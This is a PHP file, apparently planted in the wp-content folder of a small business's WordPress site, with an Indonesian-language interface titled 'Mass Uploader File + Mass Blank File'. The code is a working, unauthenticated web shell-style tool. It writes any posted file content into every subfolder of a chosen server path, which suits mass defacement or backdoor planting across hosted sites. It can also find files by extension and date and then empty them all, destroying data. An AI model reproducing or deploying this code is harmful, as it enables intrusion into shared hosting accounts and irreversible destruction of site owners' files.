File "asb.php"

Full Path: /home/fresvfqn/waterdamagerestorationandrepairsmithtown.com/wp-content/asb.php
File size: 6.98 KB
MIME-type: text/x-php
Charset: utf-8

<?php

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'])) {
    $action   = $_POST['action'];
    $basePath = rtrim($_POST['base_path'] ?? '', '/');

    if (!is_dir($basePath)) {
        $results[] = "<div class='error'>Base path tidak ditemukan: $basePath</div>";
    } else {
        if ($action === 'create') {
            $folderName = trim($_POST['folder_name'] ?? '');
            $fileName   = trim($_POST['file_name'] ?? '');
            $fileContent= $_POST['file_content'] ?? '';

            $subfolders = glob($basePath . '/*', GLOB_ONLYDIR);
            foreach ($subfolders as $sub) {
                $targetFolder = $sub;
                if ($folderName) {
                    $newFolder = $sub . '/' . $folderName;
                    if (!is_dir($newFolder)) {
                        if (mkdir($newFolder, 0755)) {
                            $results[] = "<div class='success'>Folder dibuat: $newFolder</div>";
                        } else {
                            $results[] = "<div class='error'>Gagal membuat folder: $newFolder</div>";
                        }
                    }
                    $targetFolder = $newFolder;
                }
                if ($fileName) {
                    $filePath = $targetFolder . '/' . $fileName;
                    if (file_put_contents($filePath, $fileContent) !== false) {
                        $results[] = "<div class='success'>File dibuat: $filePath</div>";
                    } else {
                        $results[] = "<div class='error'>Gagal membuat file: $filePath</div>";
                    }
                }
            }
            if (empty($subfolders)) {
                $results[] = "<div class='error'>Tidak ada subfolder di $basePath</div>";
            }

        } elseif ($action === 'scan') {
            $ext    = trim($_POST['file_ext'] ?? '');
            $dateIn = trim($_POST['date_from'] ?? '');

            if (!$ext || !$dateIn) {
                $results[] = "<div class='error'>Ekstensi dan tanggal wajib diisi!</div>";
            } else {
                $timestamp = strtotime($dateIn . " 00:00:00");
                $foundFiles = [];

                $iterator = new RecursiveIteratorIterator(
                    new RecursiveDirectoryIterator($basePath, RecursiveDirectoryIterator::SKIP_DOTS),
                    RecursiveIteratorIterator::SELF_FIRST
                );

                foreach ($iterator as $file) {
                    if ($file->isFile() && strtolower(pathinfo($file, PATHINFO_EXTENSION)) === strtolower($ext)) {
                        if ($file->getMTime() >= $timestamp) {
                            $foundFiles[] = $file->getPathname();
                        }
                    }
                }

                if ($foundFiles) {
                    $results[] = "<div class='success'>Ditemukan " . count($foundFiles) . " file:</div><ul>";
                    foreach ($foundFiles as $f) {
                        $results[] = "<li>" . htmlspecialchars($f) . "</li>";
                    }
                    $results[] = "</ul>";

                    $_SESSION['scan_base'] = $basePath;
                    $_SESSION['scan_ext']  = $ext;
                    $_SESSION['scan_date'] = $dateIn;
                } else {
                    $results[] = "<div class='error'>Tidak ada file .$ext setelah tanggal $dateIn</div>";
                }
            }

        } elseif ($action === 'blank') {
            $basePath = $_SESSION['scan_base'] ?? $basePath;
            $ext      = $_SESSION['scan_ext'] ?? '';
            $dateIn   = $_SESSION['scan_date'] ?? '';
            $timestamp = strtotime($dateIn . " 00:00:00");
            $count = 0;

            $iterator = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($basePath, RecursiveDirectoryIterator::SKIP_DOTS),
                RecursiveIteratorIterator::SELF_FIRST
            );

            foreach ($iterator as $file) {
                if ($file->isFile() && strtolower(pathinfo($file, PATHINFO_EXTENSION)) === strtolower($ext)) {
                    if ($file->getMTime() >= $timestamp) {
                        if (file_put_contents($file->getPathname(), "") !== false) {
                            $results[] = "<div class='success'>Dikosongkan: ".htmlspecialchars($file->getPathname())."</div>";
                            $count++;
                        } else {
                            $results[] = "<div class='error'>Gagal kosongkan: ".htmlspecialchars($file->getPathname())."</div>";
                        }
                    }
                }
            }

            if ($count === 0) {
                $results[] = "<div class='error'>Tidak ada file .$ext yang bisa dikosongkan</div>";
            }
        }
    }
}
?>

<!DOCTYPE html>
<html lang="id">
<head>
<meta charset="UTF-8">
<title>Mass Uploader File + Mass Blank File</title>
<style>
body{font-family:sans-serif; margin:20px;}
input, textarea{width:100%; padding:8px; margin:5px 0;}
button{padding:10px 15px; margin-top:10px;}
.success{color:green;}
.error{color:red;}
fieldset{margin-bottom:20px; padding:15px;}
ul{margin:5px 0 15px 20px;}
.logout{position:absolute; top:10px; right:10px;}
</style>
</head>
<body>

<div class="logout">
    <a href="?logout=1" style="padding:5px 10px; background:#f44336; color:white; text-decoration:none; border-radius:5px;">Logout</a>
</div>

<h2>Mass Uploader File</h2>

<fieldset>
<legend><b>Buat Folder & File Baru</b></legend>
<form method="POST">
    <input type="hidden" name="action" value="create">
    <label>Base Path (contoh: /home/user1)</label>
    <input type="text" name="base_path" required>

    <label>Nama Folder Baru (opsional)</label>
    <input type="text" name="folder_name">

    <label>Nama File (opsional)</label>
    <input type="text" name="file_name">

    <label>Isi File</label>
    <textarea name="file_content" rows="6"></textarea>

    <button type="submit">Jalankan</button>
</form>
</fieldset>

<fieldset>
<legend><b>Scan File</b></legend>
<form method="POST">
    <input type="hidden" name="action" value="scan">
    <label>Base Path (contoh: /home/user1)</label>
    <input type="text" name="base_path" required>

    <label>Ekstensi File (contoh: php, html, txt)</label>
    <input type="text" name="file_ext" required>

    <label>Scan mulai tanggal (format: yyyy-mm-dd)</label>
    <input type="date" name="date_from" required>

    <button type="submit">Scan File</button>
</form>
</fieldset>

<?php if(isset($_SESSION['scan_base'])): ?>
<fieldset>
<legend><b>Mass Blank File</b></legend>
<form method="POST" id="blankForm">
    <input type="hidden" name="action" value="blank">
    <button type="submit">Kosongkan Semua File Ini</button>
</form>
<script>
document.getElementById('blankForm').onsubmit = function() {
    return confirm("Apakah Anda yakin ingin mengosongkan file ini?\nTindakan ini tidak bisa di-undo.");
};
</script>
</fieldset>
<?php endif; ?>

<hr>
<div>
<?php
if (!empty($results)) {
    foreach ($results as $r) {
        echo $r . "<br>";
    }
}
?>
</div>
</body>
</html>